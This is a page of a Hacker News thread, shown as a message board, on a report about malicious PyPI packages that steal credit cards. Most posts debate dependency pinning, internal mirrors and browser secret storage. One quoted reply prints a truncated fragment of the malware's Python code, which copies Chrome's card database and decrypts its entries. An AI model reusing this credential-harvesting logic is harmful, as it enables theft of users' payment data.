Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Malicious PyPI packages stealing credit cards and injecting code

jfrog.com

Post reply on HN
Print view View original

101–110 of 230 posts

Re: Malicious PyPI packages stealing credit cards and injecting code

#101

Post by yjftsjthsd-h »

yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Sorry, I don't quite see how this would protect against supply chain attacks. If an upstream dependency is back-doored, they just have to silently add their code in an otherwise reasonable sounding release, and now you will happily download that version, add it to your internal mirrors, and pin its version forever. Unless you actually read the diff on every update, which I think is impractical (although you're welcome to correct me), I don't see how this is buying you much.

Re: Malicious PyPI packages stealing credit cards and injecting code

#102

Post by fnord77 »

specialist wrote: post #38
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

I did a bunch of nodejs stuff at my last gig. These teams had the of practice keeping packages up to date. Drove me frikkin nuts. So much churn, chaos. Is this a JavaScript thing? Carried over from frontend development? Exasperated, I finally stopped advocating for locking everything down. Everyone treated me like I was crazy. (Reproducible builds?? Pfft!!) Happens with enterprisey Java, Sprint, Maven projects too. (…

on the other hand, if you don't keep your packages up to date, you can get so behind that it is nearly impossible to upgrade.

especially bad if the older version you are on turns out to have vulns.

Josh Bloch says to update your packages frequently and I agree.

Re: Malicious PyPI packages stealing credit cards and injecting code

#103

Post by yardstick »

ageofwant wrote: post #62
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

You should mention this in your interviews. Keeping up to date with the state of the art is implicit for me. If I need to spend months retraining or up training because of company policy I expect to be compensated for that while employed.

We are upfront about it in interviews. We definitely don’t want unhappy developers, but we also don’t want insecure code. We do upgrade libraries but we do so only after analysing risk and impact. None of our developers have spent months training to develop our code.

Re: Malicious PyPI packages stealing credit cards and injecting code

#104

Post by ncann »

smallerfish wrote: post #54
RL_Quine wrote: post #48

Earlier quoted context omitted.

What do you expect it to be "encrypted" with? Unless the user is entering a password every time they start the browser, there's nothing unique to a system that other malware can't just extract and use to decrypt the database.

Right, but I wouldn't have expected that processes outside of chrome could get at its internally managed db (or encrypted properties), especially if it's using an authenticated (chrome) user profile. Windows doesn't have any application firewalls by default? I thought that was the whole thing that came in with Vista that people were upset about. (Of course, thinking it through, Linux isn't any better, assuming the pr…

If you have untrusted code running on your computer, especially with admin privilege, then it's already game over no matter what you do. Any kind of stored secret can be extracted, and any kind of typed in secret can be keylogged.

Re: Malicious PyPI packages stealing credit cards and injecting code

#105

Post by TechBro8615 »

cyberpunk wrote: post #83
cube00 wrote: post #65

Earlier quoted context omitted.

Good luck when your security department starts running XRay and demands all your dependencies are at the latest versions all the time because every second release of a package is reported as vulnerable.

But.... We're right though? I mean there is some wiggle room, if some lib has a security hole in some functionality that's not actually being used, but it's all about risk. We gate deploys to prod over something like XRay or LifeCycle and the frustration it causes our devs is much cheaper than deploying something we know is insecure to prod and would cause us to fail an audit or something (let alone get pwned).

There was a recent discussion on HN about `npm audit` and its overwhelming number of false positive vulnerabilities [0]. I can see a policy like this being frustrating in the case of `npm dependencies`. Is this something you deal with?

[0] https://news.ycombinator.com/item?id=27761334

Re: Malicious PyPI packages stealing credit cards and injecting code

#106

Post by MikeKusold »

RL_Quine wrote: post #48
smallerfish wrote: post #23

``` def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data' shutil.copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw( encrypted_password, master_key) e…

What do you expect it to be "encrypted" with? Unless the user is entering a password every time they start the browser, there's nothing unique to a system that other malware can't just extract and use to decrypt the database.

On Mac, you could store the master key in the Keychain. I've been off of Windows for almost a decade so I'm not sure if they have a similar feature.

> Keychain items can be shared only between apps from the same developer.

https://support.apple.com/guide/security/keychain-data-prote...

Re: Malicious PyPI packages stealing credit cards and injecting code

#107

Post by ozzythecat »

yjftsjthsd-h wrote: post #101
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Sorry, I don't quite see how this would protect against supply chain attacks. If an upstream dependency is back-doored, they just have to silently add their code in an otherwise reasonable sounding release, and now you will happily download that version, add it to your internal mirrors, and pin its version forever. Unless you actually read the diff on every update, which I think is impractical (although you're welcom…

It’s not 100% bullet proof, but it’s safer than pulling any random repos directly from the internet.

It’s also good that your business doesn’t have to rely on a third party every time you need to pull down your dependencies and build your software.

Re: Malicious PyPI packages stealing credit cards and injecting code

#108

Post by Macha »

specialist wrote: post #38
yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

I did a bunch of nodejs stuff at my last gig. These teams had the of practice keeping packages up to date. Drove me frikkin nuts. So much churn, chaos. Is this a JavaScript thing? Carried over from frontend development? Exasperated, I finally stopped advocating for locking everything down. Everyone treated me like I was crazy. (Reproducible builds?? Pfft!!) Happens with enterprisey Java, Sprint, Maven projects too. (…

Backwards compatibility in the javascript world isn't great. If you stop updating for a couple of years, half your libraries have incompatible API changes. Then something like a node or UI framework update comes along and makes you update them all at once to work on the new version, and you're rewriting half your application just to move to a non-vulnerable version of your core dependency.

Re: Malicious PyPI packages stealing credit cards and injecting code

#109

Post by snapetom »

mathattack wrote: post #81
wereHamster wrote: post #66

Earlier quoted context omitted.

Everyone I know uses some form of lock file, and most of the modern programming languages support it. As for upgrading only when absolutely necessary, let's be honest, nothing is absolutely necessary. If the software is old, or slow, or buggy, well dear users you'll just have to deal with it. In my experience however, it's easier to keep dependencies relatively up to date all the time, and do the occasional change th…

Both extremes are bad. If you never change anything, you are left behind on a lot of security updates and bug fixes. The longer you wait the harder it is to move. The “stay current” model comes with risks too. It’s just a matter of figuring out which manner has the better value to risk trade off, and how to mitigate the risks.

The solution was, and always been, to have someone review every commit to the libraries that your app uses, and raise red flags for security vulnerabilities and breaking changes to your application.

Oh, boy, I would love to work for a company that has someone like that. Know of any? At the least, I would love for a company to just give me time to review library changes with any sort of detail.

Re: Malicious PyPI packages stealing credit cards and injecting code

#110

Post by ok123456 »

MikeKusold wrote: post #106
RL_Quine wrote: post #48

Earlier quoted context omitted.

What do you expect it to be "encrypted" with? Unless the user is entering a password every time they start the browser, there's nothing unique to a system that other malware can't just extract and use to decrypt the database.

On Mac, you could store the master key in the Keychain. I've been off of Windows for almost a decade so I'm not sure if they have a similar feature. > Keychain items can be shared only between apps from the same developer. https://support.apple.com/guide/security/keychain-data-prote...

Palemoon on linux uses the gnome keyring. You have to auth against that to get access to your saved passwords.
Post reply on HN